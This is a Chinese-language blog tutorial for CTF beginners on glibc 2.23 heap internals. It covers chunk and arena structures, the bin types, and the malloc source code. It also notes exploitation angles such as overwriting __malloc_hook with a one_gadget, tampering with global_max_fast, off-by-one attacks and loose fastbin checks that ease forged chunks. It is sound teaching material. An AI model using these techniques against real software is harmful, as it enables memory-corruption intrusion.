glibc heap——从入门到入土

本文最后更新于:2024年9月14日 下午

那一天,赛棍们想起了萌新时期被堆题支配的恐惧……

LING. 前言

该死的罗马数字,居然没有0

坦白地将,网络上对于glibc heap的教学多而不精,大多资料都是支离破碎的。这导致很多想学习pwn的同学面对堆题时望而却步。

正好今年(2023年)协会招新招了一个非常强的新生,为了防止让这么好的新生苗子走弯路,我也是下定决心要从我这届开始给协会搭建一个好的培养体系,再加上本身我就不是很擅长堆题(尤其是高版本堆)。我决定把堆这一块做一次非常系统的整理。

这会是一篇新手向的文章,但是我也会在后面加入一些进阶的题目和提炼出来的思想,可以说学完这个系列glibc就能达到我的水平了(前提是我更新的完)。但是不代表仅仅看这篇文章就能彻底拿下堆题。堆题的学习需要大量的调试和总结,类似于高中数学的圆锥曲线大题,它需要你记住很多的二级结论,同样也需要你彻底理解其中的原理。

换句话说,这篇文章的意义,即让你从四处受罪变成了有一个稳定受罪的平台(笑)

在学习glibc堆之前,你应该做到以下几点:

  1. 有扎实的c语言功底,能熟练运用指针。
  2. 学习过数据结构,了解链表相关知识即可(单向链表和双向链表的插入、遍历和删除)
  3. Pwn方向对于栈题的学习达到合格水平(栈溢出,rop构造,ret2syscall,ret2libc,栈迁移,沙箱与orw,shellcode编写这些,都学过并且能做出来基础题)

九层之台,起于累土。

glibc的学习我推荐从2.23学起。虽然我的队友认为2.23是🐕都不碰的老版本,但是我觉得这个版本很适合新手学习。

所以接下来我们的结构分析、过程梳理,以及一些攻击技巧,都会以2.23为例子。当然,有些技巧过于偏门,我就不再放在前面梳理了。

总之,对于堆的学习历程,我在此给刚入门的师傅们先提供一下几点建议:

  1. 所有的攻击,都是在了解机制的前提下进行的。glibc heap的学习也是如此。glibc heap的系统学习需要你至少跟着教程通读一遍源码。所以师傅可以去官网下载各个版本的glibc源码进行阅读分析
  2. 堆题相比栈题,其中的过程比较复杂,像是malloc函数封装了很多的操作,单纯的静态分析有时候,很难考虑非常周全,有时候会忽略一些细节导致程序未按照预期情况执行。这个时候需要有调试能力,gdb提供了一些供堆调试的命令,可以拿来用,也可以直接看内存看看自己哪里写错了。对于程序报出的堆管理器的错误也可以放进源码里去搜索,看看是哪里报错的。
  3. 堆题需要很多构造思维,需要精细地布置堆块才能解出来题目,在前期的学习,题目的漏洞往往并不算难找,但是难在对于漏洞点的利用上。这里需要多加锻炼。
  4. 因为glibc版本变迁,很多机制和检查变化较大。建议大家勤总结勤写博客

这篇文章长期更新,所有知识点和题目都默认架构为x86_64。文章中对于一些已经有大佬讲的很清楚的点,我会加以引用并标注出来出处。

关于glibc heap的相关源码,可以在glibc-2.23/malloc/malloc.c下找到,版本号可以视情况而变。

I. glibc heap 基础结构体

这一段我会给大家介绍一下glibc进行堆管理的意义,并且详细分析一下glibc heap最基本的结构体

堆管理器有什么作用?

c语言讲变量,其实变量就是内存+数据规格

我们可以定义变量,但是这种方式创建的变量是相对固定的,不够灵活。

典型的问题就是数组的长度问题——我怎么知道程序运行过程中这个数组需要多大呢?

另一个问题,有些数据我们并不是长期使用,有可能用一段时间之后就永远不用了。如果这些内存长期让垃圾数据占有。内存就会被浪费,甚至消耗殆尽。

我们不难看出,这些问题的产生,归根结底是因为int array[100000]这种分配内存的方式太过于死板了。于是就有了动态分配内存的思想:我需要内存,我就向操作系统(OS)申请;我用完了这段内存,我就把这块内存还给操作系统;我需要换一个更大的内存,我就把旧的内存块还给操作系统,再要一份更大的回来。

但是这实际上是一个偷懒的行为,就像是一个高三学生天天在家衣来伸手饭来张口是一个样子的。OS很忙,这种把如此细化的动态内存管理的工作完全交给OS,会拖烂操作系统的效率——因为动态的内存变动实在是太过频繁了。

中国人是喜欢折中的,虽然glibc不是由中国人写的,但是这个思想却应用于此。当内存不足时程序会向OS提交申请,OS会返回内存供进程使用,但是OS并不会给进程把内存切好。相反,它会直接分配给程序一大块内存,交给程序自己去动态管理。

学校财务也能这么大手笔就好了,协会可怜的指导老师为了报销国赛报名费,跑了整整三天财务……

而对于这一块内存的管理,就是glibc堆管理器

似乎有时候也叫ptmalloc……

malloc_chunk结构

进程通过申请从OS那里拿到了一块非常大的内存,就像是要生活费的大学生一样,肯定不能乱花对吧……所以在使用时会进行一些细致的管理。

我们知道malloc操作会得到一块内存,这块内存理应是比较贴近申请大小的,并不会产生多少浪费。程序运行中会进行很多次类似的内存块申请,同时也有很多这样的内存不再使用。这必然会产生内存碎片滞留,让堆段内存并不是一段大的连续空闲/使用的内存空间。那么程序对于这些被切割的小块内存如何进行管理呢?

想管理这些内存块就需要把他们定义为相关的数据结构。这种内存块,会有一个名为chunk的结构与其对应,malloc返回的供程序使用的内存,实际上就是返回一个指向chunk内部(不是开头)的指针。free则是把这个指针对应的chunk给释放掉。

chunk成员结构及不同使用状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define INTERNAL_SIZE_T size_t

struct malloc_chunk
{

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk *fd; /* double links -- used only if free. */
struct malloc_chunk *bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk *bk_nextsize;
};

malloc_chunk的结构如上。

首先要声明一点:struct malloc_chunk定义的这几个成员并非是保存用户存于内存块中的数据的,这个结构的意义在于保存内存块的一些关键的信息的,即malloc拿到的内存有多大,处于什么状态,free后的一些相关指针等。

正常情况下,任何一个malloc_chunk都有两种状态:allocated和freed,即被分配和已释放。这六个成员里,仅仅前两个是常驻的(两种状态都可能会启用),后面四个指针,是只有堆块被free掉的时候才会启用并具有意义。chunk的状态由chunk相关标记位负责,这点后面下一小节马上会讲。

下面我画了个示意图,前一个是已分配正在使用的内存块,后一个是被释放的内存块。示意图中,chunk标记的是chunk的开头,而ptr标注的是内存存放的数据开头。可以看到,chunk结构其实是位于申请的内存块的头部,由于后四个指针在allocated的状态下并不启用,这段空间相当于是被浪费的。因此,为了节约内存,这些位置就被用来存放数据了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
malloc(0x90) 申请的堆块
chunk ->0x00 *********************
pre_size | size
ptr -> 0x10 *********************
data(存放数据)
...
0xa0 *********************


free 释放后的堆块结构图如下 (fd_nextsize在图中被我简写为fd_ns,bk_nextsize同理,主要是写不开了...)
chunk ->0x00 *********************
pre_size | size
ptr -> 0x10 *********************
fd | bk
0x20 *********************
fd_ns | bk_ns
0x30 *********************
useless(这段区域没用了)
...
0xa0 *********************


通俗地说,chunk就是一个被”镶嵌”在内存块头部的一个信息头。

于是我们就可以这样来描述chunk结构:

  1. 在内存块被使用时,其结构为prev_size+size+存放的数据
  2. 在内存块被释放时,其结构为prev_size+size+fd+bk+fd_nextsize+bk_nextsize,之后的区域没有任何用处,但是旧数据可能会残留下来。

顺便说一下,被释放时,对于一些比较小的堆块,不会用到其fd_nextsize和bk_nextsize这两个成员。因此最小的堆块实际上是0x20大小,即只到fd和bk的位置。学到后面你就会发现这种大小的堆块在任何时候都不会有使用这两个指针的需求。

我们malloc函数返回的地址,就是从chunk开头越过prev_size和size,从fd开始的位置,即:chunk中存放数据的地址为chunk_addr+0x10,malloc指针对应chunk位置为mem_addr-0x10

chunk的size与prev_size以及堆块合并浅述

size 成员:记录这个chunk对应的内存块的大小。注意,这里的size不是至struct chunk这个结构的大小,而是指的是程序返回回来的内存块的大小。

glibc的chunk有一个规定,chunk的大小必然是0x10的整数倍(源码中写的是2*SIZE_T的整数倍,64位下就是0x10了),这是为了便于管理。因此接下来又有一个问题:由于内存块大小是0x10的整数倍,size最低的一个16进制位(四个二进制位)就被浪费了。为了避免浪费,size位的低三位|A|M|P|有特殊的用途:

A位,标记为1则说明该堆块并非由主线程创建
M位,标记位1则说明该内存块由mmap函数创建
P位,标记为1则说明该堆块 物理相邻 的上一个堆块被释放掉了,处于一个空闲状态(更为准确的说法,应该是可以被用于合并。)

物理相邻,在本文指的是和这个堆块在内存空间里紧挨着的两个堆块。

以后会看到,malloc一个0x60的内存,得到是chunk的size很多都是0x71,原因就是prev_size位和size位和内存空间不重叠,需要多占0x10字节,而这个堆块申请下来之后可能前一个物理相邻chunk可能还是在使用的状态,因此最低位就是1了。

以后读源码会发现request2size和chunk2mem两个宏,用来在申请内存大小和堆块大小间进行切换

接下来是prev_size成员

prev_size成员:保存物理相邻的上一个chunk的大小
仅在上一个chunk被释放(更准确地说,是上一个chunk的size的P位被置为1)的时候中启用

其字面意思容易理解,但是启用时机令人迷惑。要理解这一点就要介绍glibc的一个堆管理机制:空闲碎片合并。即堆管理器会合并一些相邻的空闲堆块,将相邻的两个小堆块合成大堆块,以减轻管理压力。

合成大🍉!(确信)

这个合并的过程一定是由释放了一个堆块引起的(因为释放之前应该内存里处于一个没有相邻零散堆块可以合并的状态,即该合并的应该都合并了,所以发生合并一定是出现了新的空闲块)。而释放堆块时引起的堆块合并肯定是围绕这个堆块前后进行的(即前向合并后向合并,但是我总是分不清,我更习惯说是往低地址或往高地址合并)。这其中就会设计到对于前后堆块的定位。定位高地址方向的后一个堆块,就是从chunk起始位置+该chunk的大小就可以了(即依托于size成员实现),而向低地址合并前一个chunk,就需要知道上一个堆块的size,prev_size的意义也就在于此。

换句话说,这个成员就是让程序在合并chunk时作为一个参照,能找到物理空间相邻的低地址方向堆块的起点。那如果前一个堆块还是正在使用中的状态,不是空闲堆块,那就不能作为一个零散堆块被合并。因此没有理由去用prev_size锁定这个堆块,这个成员此时就没有意义了。

同样地,对于prev_size无效的时候,这个成员占据的这八个字节,也会被用来存放数据。只不过它是供给上一个堆块使用了。这是一个非常重要的复用特性,glibc这种压榨chunk空间的做法,让pwn手们输入的payload可以逼近下一个chunk的size,进而衍生出了一个大名鼎鼎的攻击系列:off-by-one(null)

看来压榨员工的老板都没有好果子吃。

所以我们malloc的时候,返回的chunk会有一个规律:

  1. 若申请的大小为x * 0x10 到 x * 0x10+8,那么返回的堆块大小为x*0x10,因为后八个字节会复用。
  2. 若申请的大小为x * 0x10+8 到 (x+1) * 0x10, 则返回的堆块大小为 (x+1) * 0x10,因为堆块大小由0x10对齐原
  3. 申请堆块大小小于0x20,则返回一个0x20大小的堆块,因为堆块最小只能这么小了。
    (chunk也是有size大小上限的,不过太大的chunk申请,会改用mmap去分配,这就不是走glibc的heap管理了)

malloc_chunk结构中还剩下四个指针,接下来会讲解这些指针的作用

malloc_state与bins简述

再次重申一下,请还未学习过数据结构这门课的同学,先移步到数据结构相关文章去学习链表相关知识,先了解链表结点结构定义创建操作插入操作结点插入操作结点删除操作。弄清楚单向链表,双向链表以及单/双向循环列表的概念。

之前讲了,malloc函数会分配内存。这个操作实际上就是对内存进行划分,类似于切蛋糕一样去切除内存片段。

但是内存不像蛋糕一样吃完就没了,它是需要重复利用的。那我们怎么对于空闲内存块进行管理呢?

理想的办法是把空闲内存块位置都腾出来,让所有使用中的内存紧密地连在一起,让空闲内存都放在一段连续的区域。这种做法类似于我们收拾房间。但是对于内存管理来说不太现实,因为大量挪动内存的方法开销太大。

因此一个比较好的办法是让空闲内存块不动,通过链表把chunk块串联到一起进行管理,这样仅仅花费几个指针就能联系上所有的内存块。然后,如果有一次内存申请的大小正好和一个空闲块的大小相同,就把这个内存块返回来。

总结:这个管理方式有两个重点:

  1. 利用指针,将内存块组织成链表
  2. 区分空闲块大小。

因此我们需要保存一些数据结构来管理所有的空闲堆块。基于以上要求,显而易见,最佳的结构就是以其中串联的size为区分的所有链表表头

glibc堆管理器采用了这个思路。当然,对于堆管理来说,仅仅保存这些空闲chunk所在链表表头是不够的。每个线程都有一个malloc_state类型的arena名为的结构体,保存这个线程堆管理信息。而我们之前说的bins,往往也在其中。

其中main的arena被称为main_arena,一般我们做的堆题都是只有一个线程。

malloc_state结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

这个结构我们可以先不关注过于关注,但是我们要注意到fastbinsY和bins这两个结构,这两个结构就是我们常说的bins。

mchunkptr即struct malloc_chunk *,即堆块头指针,指向一个chunk结构。

bins一般有这几种:

  1. fastbin:保存最近释放的小chunk(0x20-0x80大小)
  2. smallbin:保存较久远之前释放的小型chunk(0x20-0x400大小)
  3. largebin:保存大chunk(0x400以上)
  4. unsorted bin:作为chunk按照size分类进入bins前的一个缓冲链表,仅有一个,其中chunk大小不一致
  5. tcache:glibc2.27新增的一类堆管理链表,有着特殊的管理机制,暂时先不介绍。(不在malloc_state这个结构内)

这里先对于这前四种bins依次分析。

fastbin

fastbin,是单向链表头数组。这个bins设计出来的目的,就如同它的名字,是试图维护一个能快速存取的空闲链表。它往往保存近期释放的小型堆块,访问迅速。

关于“近期”的判定后续会说明

fastbin定义如下,在malloc_state中:

1
mfastbinptr fastbinsY[NFASTBINS];

作为单向链表结点,chunk内需要有指针成员参与串联,这里使用的是chunk的fd成员,作为单向链表中用于串联的指针。

示意图如下:

1
2
3
4
5
6
7
fastbinY[idx] -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1

其中:
fastbinY[idx] == &chunk_4
chunk_4.fd == &chunk_3
chunk_3.fd == &chunk_2
chunk_2.fd == &chunk_1

应该有人注意到了编号顺序问题。这里的编号顺序着chunk进入fastbin的顺序,即chunk_1最先进入,chunk_4最后进入。可以看到最先进入的chunk_1在链表中离链表头部最远,最后进入的最靠近链表头部。向fastbin中填入chunk的时候,优先插入最靠近fastbin头部的位置(即插入到之前最晚进入fastbin,挤到他的前面);从fastbin中取chunk出来的时候,也是优先取出最靠近fastbin头部的堆块(即最晚进入fastbin,在上面“图”中是chunk_4)。即遵循FILO原则(先进后出)

fastbin内堆块有一个共同特点:它们虽然是被释放的堆块,出于空闲状态,但是由于进入fastbin的堆块都是刚被释放的堆块,可能是出于接下来程序很有可能再次申请这个大小堆块的考虑,这些fastbin中的堆块并不会被合并。正因如此,其物理空间相邻的堆块的size成员的P位例外地不会被置为0。

这就是上面讲size域的时候我用了一种比较抽象的严谨说辞的缘故

这几个fastbin的头部,按照其下标大小,依次保存不同大小的堆块。0号下标保存所有大小为0x20的堆块,1号下标保存所有0x30大小的堆块。fastbin默认的chunk大小范围为0x20-0x80。每个链表内的所有chunk大小都是相同的,不同大小的chunk被释放会进入不同的fastbin链表。

由于默认情况下保存的堆块大小范围固定,fastbinY的元素数量是一个固定值。这个长度计算是定义在宏定义里面的。但是,fastbin的具体操作,尤其是根据一个堆块大小判断这个堆块能否进入fastbin时,使用到的实际上是一个名为global_max_fast的静态全局变量。这个变量是用于限定进入fastbin中chunk的最大值,有时候可以通过篡改这个变量,强行扩展fastbin的范围区间,使得更大的堆块被当做fastbin处理。

bins数组

上面展示的malloc_state结构里有

1
mchunkptr bins[NBINS * 2 - 2];

这个bins其实是被拆成三份使用的。1号下标为unsorted bin,2-63下标为small bin,剩下的是largbin

这里说的下标,是用给后面的bin_at宏的,不是直接放在方括号里。

bins数组的元素数量是NBINS*2-2,这个计算中乘了一个2。这是因为这些bins都是使用双向循环链表(unsorted bin和smallbin)甚至是两个双向链表复合而成的更为复杂的链表(large bin),每个链表都需要两个指针分别定位头部和尾部。因此这里做了一个乘2处理。

malloc和free源码中,对于bins的处理往往是直接将其视为链表中的结点。广泛使用的是一个bin_at的宏定义。其中,m代表着malloc_state结构指针(一般无需关注),bin代表下标。

1
2
#define bin_at(m, i) \
(mbinptr)(((char *)&((m)->bins[((i)-1) * 2])) - offsetof(struct malloc_chunk, fd))

后面减去了一个fd在chunk中的偏移。其目的在于将bins中的指针当做chunk结点使用时,可以直接引用其fd/bk指针。之所以不直接保存chunk,是因为其位置(下标)就对应其大小,prevsize和size都多余了,这样做可以进行空间的复用。

chunk处于这类双向链表的bins中时,其fd指针指向更加远离bin的堆块,其bk指针指向更加靠近bin的堆块。距离bins最远的堆块,其fd指针没有更远的chunk可以指向了,因此它被改成了一个循环双向链表,指向bin(这里当然也是指向bin_at转化来的chunk)。而bin由于它就是开头的chunk,所以其bk指针指向最远的堆块。

双向循环链表搞不明白?也算正常,毕竟你校有位教数据结构的老师,期末把珍贵的四分划给了“简述好的算法的四个特点”(都大学了,还背个🔨的📖)

bins在内部没有元素时,相当于链表为空。双向链表为空的情况下,fd和bk指针都会指向自身,即通过bin_at宏转化而来的chunk。

进入bins中的堆块一般都是被释放了一段时间了。这里的堆块物理相邻的后一个堆块的size成员的P位会被置为0,也就是说它们可以被合并。

下面介绍剩下的这三种bin

unsorted bin

unsorted bin,bin如其名,其中的堆块是无顺序的。大小范围没有任何限制。

unsorted bin仅有一个,位于bins的一号下标。

unsorted bin是双向链表管理。它的操作集中于链表头部和尾部,所以更准确地说,这应该是一个链式队列,也就意味着其采用FIFO即先进先出的原则。新chunk插入最靠近bin头部的位置,而取出堆块的时候取离得最远的堆块。

unsorted bin内堆块无序,大小不限,这是因为这个链表相当于一个缓冲,用来保存从fastbin里清除出来的堆块,和释放掉的一些较大堆块。这个过程,在后面源码剖析里会着重讲解。

small bin

也是双向循环链表,采用FIFO原则,一样的进出规则(头插尾取)。但是它和unsorted不同的地方在于,smallbin内的chunk大小是固定的。也就是说smallbin算是一个分拣不同大小chunk工程中的分类箱,bins中也有很多条smallbin链表,从下标2到下标63都是smallbin(范围0x20-0x3F0)

堆块进入smallbin只有唯一一种途径:触发对unsorted bin的分拣操作,使得其中堆块被扔进small bin

后来引入了tcache机制,tcache中的堆块也有可能被扔进smallbin。但是需要calloc函数,条件较为苛刻。有个与其相关的技巧叫Tcache Stashing Unlink Attack,后面会详细描述。

largebin

范围较大,从0x400以上(最小0x410)都是largebin的地盘。

largebin管理思想是,将大堆块按照大小范围分组,一定大小范围内的chunk通过fd与bk和bin头部串联到一起,就像上面的双向链表一样。但是不同的是,一部分chunk的fd_nextsize指针和bk_nextsize指针也将启用,这些chunk会作为某一个size的所有chunk的“代表”,和其他“代表”互相同这两个指针串联起来(也是双向循环链表,但是不链接bin)

bin头部是不参与fd_nextsize和bk_nextsize这一个链表线路的,所以不用担心上面bin_at复用重叠问题。

前期我不准备将largebin讲的太详细,因为这些知识要到largebin attack才能用到,算是一个相对独立的点。而且largebin的结构复杂,平时又不太用到。这里就不细讲了,等到后面学largebin attack的时候再说。我们只需要知道,largebin的bin头部,也和smallbin在同一片内存区域里就行了。

想了解可以参考网上的文章。

malloc_state宏观结构补充

先把代码放上来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

每一个线程都有一个arena,这个就是一个malloc_state类型的变量。

我们之前探讨了fastbinY和bins两个结构,剩下的结构还有一些我们要提前说一下:

top

我们说过,堆管理器就是切蛋糕。但是实际执行得到时候,我们不倾向于把蛋糕切的太碎,因为碎片化的内存总是难以利用的。因此我们往往会尽可能利用现有碎片,并时刻合并相邻空闲碎片。

因此,内存应该是这样的

1
2
3
4
5
6
7
heapbase ->	************************************
被切割地七零八落的内存块...
top -> ************************************

剩余内存空间(完整的一大块)

************************************

为了方便管理,我们让剩下的一块内存,也当做一个chunk来处理,我们将其称之为topchunk。并且在main函数中留下一个top指针指向这个内存。

这个类似于一个……水位线一样的东西?

top chunk实际上相当于一个永远出于freed状态的堆块,所有与之相邻的空闲状态堆块都会被合并进去(fastbin chunk除外)

last_reminder

碎片会合并,合并是为了创造更大的堆块。那么大空闲堆块相对于小空闲堆块的优势在于什么呢?这就涉及到堆块切割的操作。即将大的空闲块切割为小空闲块来使用。

但是切割是一个比较懒省事的行为,很容易产生碎片。这个做法不应该被滥用。后面我们学malloc函数的源码,会发现切割行为往往发生在没有合适空闲堆块的情况下,才会试图切割现有的空闲块。如果能找到大小完全符合的空闲块,我们会选择将这个堆块返回回去,而不是切一个新的。

但是有一个情况例外。程序不介意往切过一刀的内存附近再切一刀,程序有一个last_reminder指针,这个指针指向上一次切割剩下来的堆块。如果程序在malloc过程中在某个流程找到了这个堆块并且这个堆块大小大于请求需求,就会拿这个堆块开刀。

这个指针的用途,到了研读源码的时候就会了解了。

II. glibc-2.23 源码初步学习

所有的源码都可以在官网下载。

堆操作主要是malloc和free两个行为。但是其中调用了大量的内部函数,同时也有很多的宏定义操作。这篇文章不可能讲的非常完备,所以有很多地方可能需要大家自己用vscode等编辑器打开源码去学习。

(以后glibc源码我等下争取直接放在服务器上,这样就方便大家下载了。)

malloc源码剖析

malloc函数在内部实际相当于调用了_libc_malloc函数。而_libc_malloc内部会调用了_int_malloc函数。

malloc返回值为内存块的指针,位于chunk头部靠后0x10的位置,这一点之前讲过,大家应该都清楚。

下面我们逐步剖析malloc函数内部原理

_libc_malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void *
__libc_malloc(size_t bytes)
{
mstate ar_ptr;
void *victim;

void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (__builtin_expect(hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS(0));

arena_get(ar_ptr, bytes);

victim = _int_malloc(ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE(memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
}

if (ar_ptr != NULL)
(void)mutex_unlock(&ar_ptr->mutex);

assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
ar_ptr == arena_for_chunk(mem2chunk(victim)));
return victim;
}
libc_hidden_def(__libc_malloc)

首先,我们看到里面有一个调用函数指针的操作,即hook指针。这里通过一个宏,读取了__malloc_hook里面里保存的函数指针。如果这里的指针不为空,则调用对应函数。一般来说,这里都是空值。

攻击__malloc_hook是低版本堆题的常用攻击技巧,可以尝试将其修改为one_gadget

紧接着,通过arena_get操作,获得了当前线程的arena地址并赋值给ar_ptr。之后,程序执行_int_malloc函数,将返回值赋值给victim。

观察程序最后的return,可以发现这就是返回的内存块指针。

如果_int_malloc未能找到堆块而返回空值,则会进行后续的一系列操作(包括重复寻找等行为)一般来说是不会触发的。

所以我们的关注点将集中于_int_malloc函数(这可真的是个大东西)

_int_malloc

这个函数的源码多达上千行,我们逐段进行分析。

起始预处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static void *
_int_malloc(mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */

mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */

mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */

unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */

mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */

const char *errstr = NULL;

/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/

checked_request2size(bytes, nb);

/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
mmap. */
if (__glibc_unlikely(av == NULL))
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}

起始时分先定义了一大堆会用到的变量,然后进行了一个checked_request2size的操作,这个操作主体是request2size,是把参数bytes(即请求大小)进行转化,得到chunk大小nb。

1
2
3
4
5
6
7
8
9
10
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) \
{ \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);

再说一下之前讲过的chunk的空间复用问题。chunk的大小分类是以0x10步进的。这个宏就相当于找一个最小的能装下的chunk
比如,申请0x68,需要的就是0x70大小的chunk,剩下八个字节可以被复用,而chunk头部需要0x10个字节,而0x69的申请就需要0x80的chunk。

懒得详细解释代码了,宏定义的细节不是很重要,换算思路也很好讲。代码愿意看可以看看

与此同时这里也定义了victime、idx、bin等后面会经常用到的类型,victim往往代表选中的堆块,idx和bin分别代表bin下标和指针

之后进行arena指针的非空检查,一般都是能过的。

首次fastbin取出

下一段代码试图从fastbin中取出堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast()))
{
idx = fastbin_index(nb);
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
} while ((pp = catomic_compare_and_exchange_val_acq(fb, victim->fd, victim)) != victim);
if (victim != 0)
{
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
check_remalloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}

该分支进入条件是:(unsigned long)(nb) <= (unsigned long)(get_max_fast()),也就是说,fastbin的范围其实是通过get_max_fast的返回值即global_max_fast的值决定的,默认为0x80。

篡改global_max_fast是剑走偏锋的一招,麻烦,但是确实有用。后面再讲。

之后通过fastbin_index获得链表下标,通过&fastbin(av,idx)宏定位到该size对应的链表表头,因为不同的fastbinY数组内的链表对应的chunk的大小是不同的。

后面的while循环非常抽象,但是其操作可以概括为:

1
2
3
4
5
6
7
if(pp!=0)
{
victim=pp;
*fb=victim->fd;
}
else
victim=0;

换而言之就是一个单向链表头结点解链操作。fastbinY[idx]保存了头结点地址,这个操作就是把这个结点拿出来。再把后面的结点地址赋值给fastbinY。

如果链表没有chunk在其中,那么找到的是0。如果取出来的是最后一个chunk,那么fastbinY对应位置会被写入0

后面对于victim不为0的情况,即成功取出来堆块的情况,做了一个重要检查

1
__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)

这个操作,翻译一下,就是用取出来的chunk的size去计算其应该属于哪一个fastbin链表,然后在和刚刚取出chunk的链表下标进行对比。如果不一样,则说明chunk之前停留在链表内的时候遭到了篡改,就会报出错误。

size检查是fastbin检查的重要一环,但是这里注意,chunksize宏操作不关注最低的一个十六进制位,即不关注size的标记位。因此,0x70和0x7f,在这个宏里都会被视为0x70

通过检查的chunk会进行其余的处理,之后通过chunk2mem把内存空间的地址返回给用户。

fastbin chunk即便在bin中,也是属于那类很容易就被再次使用的堆块。指向它的size字段的P位始终是一个allocated 状态

fastbin取出的检查条件特点:

  1. 取出的堆块的size与该链表的idx相对应
  2. 指针地址不必0x10字节对齐,这十分有利于我们伪造

首次small bin取出(及largebin范围预处理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if (in_smallbin_range(nb))
{
idx = smallbin_index(nb);
bin = bin_at(av, idx);

if ((victim = last(bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate(av);
else
{
bck = victim->bk;
if (__glibc_unlikely(bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}

else
{
idx = largebin_index(nb);
if (have_fastchunks(av))
malloc_consolidate(av);
}

这里由if-else语句,根据申请chunk大小nb不同,分为了两种情况。

